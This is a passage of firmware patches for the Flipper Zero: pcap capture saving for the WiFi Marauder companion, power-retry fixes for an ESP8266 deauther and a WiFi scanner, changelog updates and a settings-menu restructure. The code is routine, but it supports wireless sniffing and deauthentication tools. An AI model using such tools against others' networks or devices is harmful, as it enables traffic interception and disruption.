wifi_marauder_uart_set_handle_rx_data_cb(app->uart, NULL); + wifi_marauder_uart_set_handle_rx_data_cb(app->lp_uart, NULL); // Automatically stop the scan when exiting view if(app->is_command) { wifi_marauder_uart_tx((uint8_t*)("stopscan\n"), strlen("stopscan\n")); } -} \ No newline at end of file + + app->is_writing = false; + if(app->capture_file && storage_file_is_open(app->capture_file)) { + storage_file_close(app->capture_file); + } +} diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app.c b/applications/external/wifi_marauder_companion/wifi_marauder_app.c index 1deb4e6f2..7563d927a 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app.c +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app.c @@ -25,6 +25,9 @@ WifiMarauderApp* wifi_marauder_app_alloc() { WifiMarauderApp* app = malloc(sizeof(WifiMarauderApp)); app->gui = furi_record_open(RECORD_GUI); + app->dialogs = furi_record_open(RECORD_DIALOGS); + app->storage = furi_record_open(RECORD_STORAGE); + app->capture_file = storage_file_alloc(app->storage); app->view_dispatcher = view_dispatcher_alloc(); app->scene_manager = scene_manager_alloc(&wifi_marauder_scene_handlers, app); @@ -67,6 +70,14 @@ WifiMarauderApp* wifi_marauder_app_alloc() { return app; } +void wifi_marauder_make_app_folder(WifiMarauderApp* app) { + furi_assert(app); + + if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER)) { + dialog_message_show_storage_error(app->dialogs, "Cannot create\napp folder"); + } +} + void wifi_marauder_app_free(WifiMarauderApp* app) { furi_assert(app); @@ -77,33 +88,47 @@ void wifi_marauder_app_free(WifiMarauderApp* app) { text_box_free(app->text_box); furi_string_free(app->text_box_store); text_input_free(app->text_input); + storage_file_free(app->capture_file); // View dispatcher view_dispatcher_free(app->view_dispatcher); scene_manager_free(app->scene_manager); wifi_marauder_uart_free(app->uart); + wifi_marauder_uart_free(app->lp_uart); // Close records furi_record_close(RECORD_GUI); + furi_record_close(RECORD_STORAGE); + furi_record_close(RECORD_DIALOGS); free(app); } int32_t wifi_marauder_app(void* p) { UNUSED(p); - furi_hal_power_enable_otg(); - furi_delay_ms(300); + + uint8_t attempts = 0; + while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } + furi_delay_ms(200); WifiMarauderApp* wifi_marauder_app = wifi_marauder_app_alloc(); - wifi_marauder_app->uart = wifi_marauder_uart_init(wifi_marauder_app); + wifi_marauder_make_app_folder(wifi_marauder_app); + + wifi_marauder_app->uart = wifi_marauder_usart_init(wifi_marauder_app); + wifi_marauder_app->lp_uart = wifi_marauder_lp_uart_init(wifi_marauder_app); view_dispatcher_run(wifi_marauder_app->view_dispatcher); wifi_marauder_app_free(wifi_marauder_app); - furi_hal_power_disable_otg(); + if(furi_hal_power_is_otg_enabled()) { + furi_hal_power_disable_otg(); + } return 0; } diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app.h b/applications/external/wifi_marauder_companion/wifi_marauder_app.h index 2d41daa55..92dd1dbd9 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app.h @@ -4,6 +4,8 @@ extern "C" { #endif +#define WIFI_MARAUDER_APP_VERSION "v0.3.1" + typedef struct WifiMarauderApp WifiMarauderApp; #ifdef __cplusplus diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h index 4df9e326b..1165c6d9d 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h @@ -6,6 +6,7 @@ #include "scenes/wifi_marauder_scene.h" #include "wifi_marauder_custom_event.h" #include "wifi_marauder_uart.h" +#include "wifi_marauder_pcap.h" #include #include @@ -14,11 +15,16 @@ #include #include +#include +#include + #define NUM_MENU_ITEMS (16) #define WIFI_MARAUDER_TEXT_BOX_STORE_SIZE (4096) #define WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE (512) +#define MARAUDER_APP_FOLDER EXT_PATH("apps_data/marauder") + struct WifiMarauderApp { Gui* gui; ViewDispatcher* view_dispatcher; @@ -29,11 +35,14 @@ struct WifiMarauderApp { size_t text_box_store_strlen; TextBox* text_box; TextInput* text_input; - //Widget* widget; + Storage* storage; + File* capture_file; + DialogsApp* dialogs; VariableItemList* var_item_list; WifiMarauderUart* uart; + WifiMarauderUart* lp_uart; int selected_menu_index; int selected_option_index[NUM_MENU_ITEMS]; const char* selected_tx_string; @@ -41,6 +50,7 @@ struct WifiMarauderApp { bool is_custom_tx_string; bool focus_console_start; bool show_stopscan_tip; + bool is_writing; // For input source and destination MAC in targeted deauth attack int special_case_input_step; diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_pcap.c b/applications/external/wifi_marauder_companion/wifi_marauder_pcap.c new file mode 100644 index 000000000..fc5f39022 --- /dev/null +++ b/applications/external/wifi_marauder_companion/wifi_marauder_pcap.c @@ -0,0 +1,33 @@ +#include "wifi_marauder_app_i.h" +#include "wifi_marauder_pcap.h" + +void wifi_marauder_get_prefix_from_cmd(char* dest, const char* command) { + int start, end, delta; + start = strlen("sniff"); + end = strcspn(command, " "); + delta = end - start; + strncpy(dest, command + start, end - start); + dest[delta] = '\0'; +} + +void wifi_marauder_create_pcap_file(WifiMarauderApp* app) { + char prefix[10]; + char capture_file_path[100]; + wifi_marauder_get_prefix_from_cmd(prefix, app->selected_tx_string); + + int i = 0; + do { + snprintf( + capture_file_path, + sizeof(capture_file_path), + "%s/%s_%d.pcap", + MARAUDER_APP_FOLDER, + prefix, + i); + i++; + } while(storage_file_exists(app->storage, capture_file_path)); + + if(!storage_file_open(app->capture_file, capture_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { + dialog_message_show_storage_error(app->dialogs, "Cannot open pcap file"); + } +} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_pcap.h b/applications/external/wifi_marauder_companion/wifi_marauder_pcap.h new file mode 100644 index 000000000..29f8fcf8a --- /dev/null +++ b/applications/external/wifi_marauder_companion/wifi_marauder_pcap.h @@ -0,0 +1,11 @@ +#pragma once + +#include "furi_hal.h" + +/** + * Creates a PCAP file to store incoming packets. + * The file name will have a prefix according to the type of scan being performed by the application (Eg: raw_0.pcap) + * + * @param app Application context + */ +void wifi_marauder_create_pcap_file(WifiMarauderApp* app); \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_uart.c b/applications/external/wifi_marauder_companion/wifi_marauder_uart.c index 228b0f83d..5ce6480f2 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_uart.c +++ b/applications/external/wifi_marauder_companion/wifi_marauder_uart.c @@ -2,10 +2,12 @@ #include "wifi_marauder_uart.h" #define UART_CH (FuriHalUartIdUSART1) +#define LP_UART_CH (FuriHalUartIdLPUART1) #define BAUDRATE (115200) struct WifiMarauderUart { WifiMarauderApp* app; + FuriHalUartId channel; FuriThread* rx_thread; FuriStreamBuffer* rx_stream; uint8_t rx_buf[RX_BUF_SIZE + 1]; @@ -60,25 +62,42 @@ void wifi_marauder_uart_tx(uint8_t* data, size_t len) { furi_hal_uart_tx(UART_CH, data, len); } -WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app) { +void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len) { + furi_hal_uart_tx(LP_UART_CH, data, len); +} + +WifiMarauderUart* + wifi_marauder_uart_init(WifiMarauderApp* app, FuriHalUartId channel, const char* thread_name) { WifiMarauderUart* uart = malloc(sizeof(WifiMarauderUart)); uart->app = app; + uart->channel = channel; uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1); uart->rx_thread = furi_thread_alloc(); - furi_thread_set_name(uart->rx_thread, "WifiMarauderUartRxThread"); + furi_thread_set_name(uart->rx_thread, thread_name); furi_thread_set_stack_size(uart->rx_thread, 1024); furi_thread_set_context(uart->rx_thread, uart); furi_thread_set_callback(uart->rx_thread, uart_worker); furi_thread_start(uart->rx_thread); - - furi_hal_console_disable(); - furi_hal_uart_set_br(UART_CH, BAUDRATE); - furi_hal_uart_set_irq_cb(UART_CH, wifi_marauder_uart_on_irq_cb, uart); + if(channel == FuriHalUartIdUSART1) { + furi_hal_console_disable(); + } else if(channel == FuriHalUartIdLPUART1) { + furi_hal_uart_init(channel, BAUDRATE); + } + furi_hal_uart_set_br(channel, BAUDRATE); + furi_hal_uart_set_irq_cb(channel, wifi_marauder_uart_on_irq_cb, uart); return uart; } +WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app) { + return wifi_marauder_uart_init(app, UART_CH, "WifiMarauderUartRxThread"); +} + +WifiMarauderUart* wifi_marauder_lp_uart_init(WifiMarauderApp* app) { + return wifi_marauder_uart_init(app, LP_UART_CH, "WifiMarauderLPUartRxThread"); +} + void wifi_marauder_uart_free(WifiMarauderUart* uart) { furi_assert(uart); @@ -86,7 +105,7 @@ void wifi_marauder_uart_free(WifiMarauderUart* uart) { furi_thread_join(uart->rx_thread); furi_thread_free(uart->rx_thread); - furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL); + furi_hal_uart_set_irq_cb(uart->channel, NULL, NULL); furi_hal_console_enable(); free(uart); diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_uart.h b/applications/external/wifi_marauder_companion/wifi_marauder_uart.h index e38c18dd2..4835d52ce 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_uart.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_uart.h @@ -10,5 +10,7 @@ void wifi_marauder_uart_set_handle_rx_data_cb( WifiMarauderUart* uart, void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); void wifi_marauder_uart_tx(uint8_t* data, size_t len); -WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app); +void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len); +WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app); +WifiMarauderUart* wifi_marauder_lp_uart_init(WifiMarauderApp* app); void wifi_marauder_uart_free(WifiMarauderUart* uart); From 968d6d578f0e7f9924599c378430742c87b20ce4 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 16 Mar 2023 00:07:37 +0300 Subject: [PATCH 115/329] Add retry and delay to avoid power issues with Wifi plugins --- .../external/esp8266_deauth/esp8266_deauth.c | 17 ++++++++++++++--- .../external/wifi_scanner/wifi_scanner.c | 18 +++++++++++++++--- 2 files changed, 29 insertions(+), 6 deletions(-) diff --git a/applications/external/esp8266_deauth/esp8266_deauth.c b/applications/external/esp8266_deauth/esp8266_deauth.c index d32ca4c18..fc165b932 100644 --- a/applications/external/esp8266_deauth/esp8266_deauth.c +++ b/applications/external/esp8266_deauth/esp8266_deauth.c @@ -352,7 +352,12 @@ int32_t esp8266_deauth_app(void* p) { #else #if ENABLE_MODULE_POWER app->m_context = Initializing; - furi_hal_power_enable_otg(); + uint8_t attempts = 0; + while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } + furi_delay_ms(200); #else app->m_context = ModuleActive; #endif @@ -409,7 +414,11 @@ int32_t esp8266_deauth_app(void* p) { app->m_wifiDeauthModuleAttached = true; #if ENABLE_MODULE_POWER app->m_context = Initializing; - furi_hal_power_enable_otg(); + uint8_t attempts2 = 0; + while(!furi_hal_power_is_otg_enabled() && attempts2++ < 3) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } #else app->m_context = ModuleActive; #endif @@ -533,7 +542,9 @@ int32_t esp8266_deauth_app(void* p) { DEAUTH_APP_LOG_I("App freed"); #if ENABLE_MODULE_POWER - furi_hal_power_disable_otg(); + if(furi_hal_power_is_otg_enabled()) { + furi_hal_power_disable_otg(); + } #endif return 0; diff --git a/applications/external/wifi_scanner/wifi_scanner.c b/applications/external/wifi_scanner/wifi_scanner.c index 3a79ce16e..341287b54 100644 --- a/applications/external/wifi_scanner/wifi_scanner.c +++ b/applications/external/wifi_scanner/wifi_scanner.c @@ -663,7 +663,12 @@ int32_t wifi_scanner_app(void* p) { #else app->m_context = Initializing; #if ENABLE_MODULE_POWER - furi_hal_power_enable_otg(); + uint8_t attempts = 0; + while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } + furi_delay_ms(200); #endif // ENABLE_MODULE_POWER #endif // ENABLE_MODULE_DETECTION @@ -722,7 +727,12 @@ int32_t wifi_scanner_app(void* p) { app->m_wifiModuleAttached = true; app->m_context = Initializing; #if ENABLE_MODULE_POWER - furi_hal_power_enable_otg(); + uint8_t attempts2 = 0; + while(!furi_hal_power_is_otg_enabled() && attempts2++ < 3) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } + #endif } } @@ -851,7 +861,9 @@ int32_t wifi_scanner_app(void* p) { WIFI_APP_LOG_I("App freed"); #if ENABLE_MODULE_POWER - furi_hal_power_disable_otg(); + if(furi_hal_power_is_otg_enabled()) { + furi_hal_power_disable_otg(); + } #endif return 0; From 353adf4fb78e9b19a61a363d8616e7b7bd272977 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 16 Mar 2023 00:24:53 +0300 Subject: [PATCH 116/329] Update changelog and readme --- CHANGELOG.md | 11 ++++++++++- ReadMe.md | 2 +- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a2700b486..0b76ede7d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,10 +1,19 @@ ### New changes * SubGHz: New protocols support: CAME Space, Stilmatic / Schellenberg * SubGHz: Add Manually - new protocols -> Beninca, Sommer(FSK), IronLogic, DTM Neo, Gibidi, Elmes Electronic (Elmes Poland), CAME Space -* SubGHz: Fixed external module power issues, added more checks, fixed issues when launching subghz favourites +* SubGHz: Fixed external CC1101 module power issues, added more checks, fixed issues when launching subghz favourites * SubGHz: Removed 330MHz from default freq hopper to make it faster, to change freq hopper settings and remove/add your freqs see -> [Instruction](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSettings.md) +* Plugins: Added delay and retries to avoid power issues in plugins -> WiFi Scanner, ESP8266 Deauther +* Plugins: Update for WiFi Marauder companion -> `sniff` saves pcaps in `YourFlippersMicroSD/apps_data/marauder/` -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download .bin](https://github.com/tcpassos/ESP32Marauder/releases/download/0.10.1/esp32_marauder_no_sd_20230301.bin) - [(by tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion/pull/7) +* Plugins: Removed `cdefines` from external plugins as it was not used in any way * Plugins: Updated **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) (fixed issue #379) * Plugins: Update for SubGHz Bruteforcer, added - Holtek HT12X 12bit AM 433.920MHz/315MHz/868MHz/915MHz (TE: 433us) +* OFW: gh: use shallow clones whenever possible +* OFW: Add new nfc apdu cli command +* OFW: Picopass standard KDF dictionary +* OFW: Nfc: fixes for latest PVS-studio 7.23 +* OFW: Dolphin: new spring animation, weight adjust, drop winter animation. +* OFW: fbt, faploader: minimal app module implementation -> **All plugins now should have** `apptype=FlipperAppType.EXTERNAL` * OFW: Fbt: fix broken resource deployment * OFW: NFC: Fix 0 block write possibility in Mifare Classic emulation * OFW: BadUSB: updated parser and added stringln, hold and release diff --git a/ReadMe.md b/ReadMe.md index 8d48adf5a..0248535a2 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -135,7 +135,7 @@ You can support us by using links or addresses below: - WAV Player [(OFW: DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) - Fixed and improved by [LTVA1](https://github.com/LTVA1/wav_player) - Barcode generator plugin [(original by McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) - [EAN-8 and refactoring](https://github.com/DarkFlippers/unleashed-firmware/pull/154) by @msvsergey - GPIO: Sentry Safe plugin [(by H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) -- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) - Saving pcap on flipper microSD [by tcpassos](https://github.com/tcpassos/flipperzero-firmware-with-wifi-marauder-companion) +- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) - Saving .pcap on flipper microSD [by tcpassos](https://github.com/tcpassos/flipperzero-firmware-with-wifi-marauder-companion) -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download .bin](https://github.com/tcpassos/ESP32Marauder/releases/download/0.10.1/esp32_marauder_no_sd_20230301.bin) - NRF24: Sniffer & MouseJacker (with changes) [(by mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) - Simple Clock (timer by GMMan) [(original by CompaqDisc)](https://gist.github.com/CompaqDisc/4e329c501bd03c1e801849b81f48ea61) - **Sub-GHz Remote** (UniversalRF Remix) [(by @darmiel & @xMasterX)](https://github.com/darmiel/flipper-playlist/tree/feat/unirf-protocols) (original by @ESurge) From 1e60ff81e84ce9eebd1e86cfe625cee86d5924c7 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 16 Mar 2023 00:12:46 +0000 Subject: [PATCH 117/329] Restructure xtreme settings app --- .../scenes/xtreme_app_scene_config.h | 11 +- .../scenes/xtreme_app_scene_dolphin.c | 92 ---------------- .../scenes/xtreme_app_scene_interface.c | 64 +++++++++++ .../xtreme_app_scene_interface_common.c | 90 ++++++++++++++++ ... => xtreme_app_scene_interface_graphics.c} | 42 ++++---- ... => xtreme_app_scene_interface_mainmenu.c} | 42 ++++---- ...xtreme_app_scene_interface_mainmenu_add.c} | 14 +-- ...=> xtreme_app_scene_interface_statusbar.c} | 30 +++--- .../xtreme_app/scenes/xtreme_app_scene_misc.c | 75 +++++++------ ...reme_app_scene_protocols_frequencies_add.c | 4 +- ...e_app_scene_protocols_frequencies_hopper.c | 16 +-- ...e_app_scene_protocols_frequencies_static.c | 16 +-- .../scenes/xtreme_app_scene_start.c | 25 +---- applications/main/xtreme_app/xtreme_app.c | 101 +++++++++--------- applications/main/xtreme_app/xtreme_app.h | 20 ++-- applications/services/xtreme/settings.c | 4 +- applications/services/xtreme/settings.h | 9 +- 17 files changed, 351 insertions(+), 304 deletions(-) delete mode 100644 applications/main/xtreme_app/scenes/xtreme_app_scene_dolphin.c create mode 100644 applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c create mode 100644 applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c rename applications/main/xtreme_app/scenes/{xtreme_app_scene_graphics.c => xtreme_app_scene_interface_graphics.c} (72%) rename applications/main/xtreme_app/scenes/{xtreme_app_scene_mainmenu.c => xtreme_app_scene_interface_mainmenu.c} (64%) rename applications/main/xtreme_app/scenes/{xtreme_app_scene_mainmenu_add.c => xtreme_app_scene_interface_mainmenu_add.c} (72%) rename applications/main/xtreme_app/scenes/{xtreme_app_scene_statusbar.c => xtreme_app_scene_interface_statusbar.c} (71%) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h b/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h index ebe9226ff..b059ed5a3 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h @@ -1,13 +1,14 @@ ADD_SCENE(xtreme_app, start, Start) -ADD_SCENE(xtreme_app, graphics, Graphics) -ADD_SCENE(xtreme_app, mainmenu, Mainmenu) -ADD_SCENE(xtreme_app, mainmenu_add, MainmenuAdd) -ADD_SCENE(xtreme_app, statusbar, Statusbar) +ADD_SCENE(xtreme_app, interface, Interface) +ADD_SCENE(xtreme_app, interface_graphics, InterfaceGraphics) +ADD_SCENE(xtreme_app, interface_mainmenu, InterfaceMainmenu) +ADD_SCENE(xtreme_app, interface_mainmenu_add, InterfaceMainmenuAdd) +ADD_SCENE(xtreme_app, interface_statusbar, InterfaceStatusbar) +ADD_SCENE(xtreme_app, interface_common, InterfaceCommon) ADD_SCENE(xtreme_app, protocols, Protocols) ADD_SCENE(xtreme_app, protocols_frequencies, ProtocolsFrequencies) ADD_SCENE(xtreme_app, protocols_frequencies_static, ProtocolsFrequenciesStatic) ADD_SCENE(xtreme_app, protocols_frequencies_hopper, ProtocolsFrequenciesHopper) ADD_SCENE(xtreme_app, protocols_frequencies_add, ProtocolsFrequenciesAdd) -ADD_SCENE(xtreme_app, dolphin, Dolphin) ADD_SCENE(xtreme_app, misc, Misc) ADD_SCENE(xtreme_app, misc_rename, MiscRename) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_dolphin.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_dolphin.c deleted file mode 100644 index a157b269a..000000000 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_dolphin.c +++ /dev/null @@ -1,92 +0,0 @@ -#include "../xtreme_app.h" - -enum VarItemListIndex { - VarItemListIndexXpLevel, - VarItemListIndexButthurtTimer, -}; - -void xtreme_app_scene_dolphin_var_item_list_callback(void* context, uint32_t index) { - XtremeApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -static void xtreme_app_scene_dolphin_xp_level_changed(VariableItem* item) { - XtremeApp* app = variable_item_get_context(item); - app->dolphin_level = variable_item_get_current_value_index(item) + 1; - char level_str[4]; - snprintf(level_str, 4, "%i", app->dolphin_level); - variable_item_set_current_value_text(item, level_str); - app->save_level = true; -} - -const char* const butthurt_timer_names[] = - {"OFF", "30 M", "1 H", "2 H", "4 H", "6 H", "8 H", "12 H", "24 H", "48 H"}; -const int32_t butthurt_timer_values[COUNT_OF(butthurt_timer_names)] = - {-1, 1800, 3600, 7200, 14400, 21600, 28800, 43200, 86400, 172800}; -static void xtreme_app_scene_dolphin_butthurt_timer_changed(VariableItem* item) { - XtremeApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, butthurt_timer_names[index]); - XTREME_SETTINGS()->butthurt_timer = butthurt_timer_values[index]; - app->save_settings = true; - app->require_reboot = true; -} - -void xtreme_app_scene_dolphin_on_enter(void* context) { - XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); - VariableItemList* var_item_list = app->var_item_list; - VariableItem* item; - uint8_t value_index; - - char level_str[4]; - snprintf(level_str, 4, "%i", app->dolphin_level); - item = variable_item_list_add( - var_item_list, - "XP Level", - DOLPHIN_LEVEL_COUNT + 1, - xtreme_app_scene_dolphin_xp_level_changed, - app); - variable_item_set_current_value_index(item, app->dolphin_level - 1); - variable_item_set_current_value_text(item, level_str); - - item = variable_item_list_add( - var_item_list, - "Butthurt Timer", - COUNT_OF(butthurt_timer_names), - xtreme_app_scene_dolphin_butthurt_timer_changed, - app); - value_index = value_index_int32( - xtreme_settings->butthurt_timer, butthurt_timer_values, COUNT_OF(butthurt_timer_names)); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, butthurt_timer_names[value_index]); - - variable_item_list_set_enter_callback( - var_item_list, xtreme_app_scene_dolphin_var_item_list_callback, app); - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneDolphin)); - - view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); -} - -bool xtreme_app_scene_dolphin_on_event(void* context, SceneManagerEvent event) { - XtremeApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneDolphin, event.event); - consumed = true; - switch(event.event) { - default: - break; - } - } - - return consumed; -} - -void xtreme_app_scene_dolphin_on_exit(void* context) { - XtremeApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c new file mode 100644 index 000000000..e732dbd2a --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c @@ -0,0 +1,64 @@ +#include "../xtreme_app.h" + +enum VarItemListIndex { + VarItemListIndexGraphics, + VarItemListIndexMainmenu, + VarItemListIndexStatusbar, + VarItemListIndexCommon, +}; + +void xtreme_app_scene_interface_var_item_list_callback(void* context, uint32_t index) { + XtremeApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +void xtreme_app_scene_interface_on_enter(void* context) { + XtremeApp* app = context; + VariableItemList* var_item_list = app->var_item_list; + + variable_item_list_add(var_item_list, "Graphics", 0, NULL, app); + variable_item_list_add(var_item_list, "Mainmenu", 0, NULL, app); + variable_item_list_add(var_item_list, "Statusbar", 0, NULL, app); + variable_item_list_add(var_item_list, "Common", 0, NULL, app); + + variable_item_list_set_enter_callback( + var_item_list, xtreme_app_scene_interface_var_item_list_callback, app); + + variable_item_list_set_selected_item( + var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterface)); + + view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); +} + +bool xtreme_app_scene_interface_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterface, event.event); + consumed = true; + switch(event.event) { + case VarItemListIndexGraphics: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceGraphics); + break; + case VarItemListIndexMainmenu: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceMainmenu); + break; + case VarItemListIndexStatusbar: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceStatusbar); + break; + case VarItemListIndexCommon: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceCommon); + break; + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_interface_on_exit(void* context) { + XtremeApp* app = context; + variable_item_list_reset(app->var_item_list); +} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c new file mode 100644 index 000000000..3403524d2 --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c @@ -0,0 +1,90 @@ +#include "../xtreme_app.h" + +enum VarItemListIndex { + VarItemListIndexSortDirsFirst, + VarItemListIndexDarkMode, + VarItemListIndexLeftHanded, +}; + +void xtreme_app_scene_interface_common_var_item_list_callback(void* context, uint32_t index) { + XtremeApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +static void xtreme_app_scene_interface_common_sort_dirs_first_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->sort_dirs_first = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_common_dark_mode_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->dark_mode = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_common_left_handed_changed(VariableItem* item) { + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + if(value) { + furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); + } else { + furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); + } +} + +void xtreme_app_scene_interface_common_on_enter(void* context) { + XtremeApp* app = context; + XtremeSettings* xtreme_settings = XTREME_SETTINGS(); + VariableItemList* var_item_list = app->var_item_list; + VariableItem* item; + + item = variable_item_list_add( + var_item_list, "Sort Dirs First", 2, xtreme_app_scene_interface_common_sort_dirs_first_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->sort_dirs_first); + variable_item_set_current_value_text(item, xtreme_settings->sort_dirs_first ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, "Dark Mode", 2, xtreme_app_scene_interface_common_dark_mode_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->dark_mode); + variable_item_set_current_value_text(item, xtreme_settings->dark_mode ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, "Left Handed", 2, xtreme_app_scene_interface_common_left_handed_changed, app); + bool value = furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient); + variable_item_set_current_value_index(item, value); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + + variable_item_list_set_enter_callback( + var_item_list, xtreme_app_scene_interface_common_var_item_list_callback, app); + + variable_item_list_set_selected_item( + var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceCommon)); + + view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); +} + +bool xtreme_app_scene_interface_common_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterfaceCommon, event.event); + consumed = true; + switch(event.event) { + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_interface_common_on_exit(void* context) { + XtremeApp* app = context; 